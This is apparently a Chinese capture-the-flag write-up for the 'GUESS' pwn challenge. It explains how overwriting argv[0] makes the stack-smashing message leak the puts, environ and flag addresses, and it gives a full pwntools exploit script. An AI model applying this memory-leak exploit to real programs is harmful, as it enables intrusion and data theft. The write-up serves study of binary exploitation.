PWN 网鼎杯 GUESS
程序员文章站
2022-03-10 09:17:24
...
拖了好久才看题,中间去参加比赛去了,休息够了开始学习啦!
GUESS 在checksec查看后,发现开了canary 和 NX保护,所以可以用 stack smash 来做这个题
ida打开,查看一下源代码:
发现程序自己把读取flag到了栈中,所以思路就是:
1.通过覆盖argv[0]先泄露puts的地址
2.通过泄漏的puts的地址,计算出基地址然后泄漏出environ的地址(也就是栈的地址),为什么泄漏environ:https://www.jianshu.com/p/cc9d09a3f65f 有详细的解释
3.找到flag和environ的偏移(就是找到flag在栈上的位置)
确定argv[0]的地址:
方法一:在main函数处下断,运行停止后指向程序名的就是argv[0]的地址
方法二:print & __libc_argv[0],可直接获得argv[0]的地址
可得argv[0]的地址为0x7fffffffe198
确定要可控字符串与argv[0]之间的距离:
程序通过gets函数获得我们输入的字符串,所以在get函数处下断,运行至断点处,发现gets将获得的字符串储存在距离rbp 0x40 的地方,print $rbp,然后用rbp的地址减掉0x40 (0x7fffffffe0b0-0x40=0x7FFFFFFFE070 )就是可控字符串的位置。
0x7fffffffe198-0x7FFFFFFFE070=0x128(296)
确定flag在栈上的位置:
flag和栈地址之间的距离 0x7fffffffe1a8-0x7fffffffe040=0x168(360)
脚本如下:
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF("./GUESS")
sh = process('./GUESS')
print ('[+] leak puts address')
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
payload = 'a'* 296 + p64(puts_got)
sh.recvuntil('Please type your guessing flag')
sh.sendline(payload)
sh.recvuntil('*** stack smashing detected ***: ')
sh.recv()
puts_addr = u64(sh.recvuntil(' ')[:-1]+'\x00\x00')
print "puts_addr:"+hex(puts_addr)
print('[+] find environ address')
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr-libc.dump('puts')
environ_addr = libc_base + libc.dump('_environ')
print "environ_address:"+hex(environ_addr)
print ('[+] leak stack address')
sh.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(environ_addr)
sh.sendline(payload)
#sh.recvuntil('*** stack smashing detected ***:')
sh.recv()
stack_addr = u64(sh.recvuntil(' ')[:-1]+'\x00\x00')
print "stack_addr:"+hex(stack_addr)
print('[+] leak flag')
sh.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)
sh.sendline(payload)
sh.interactive()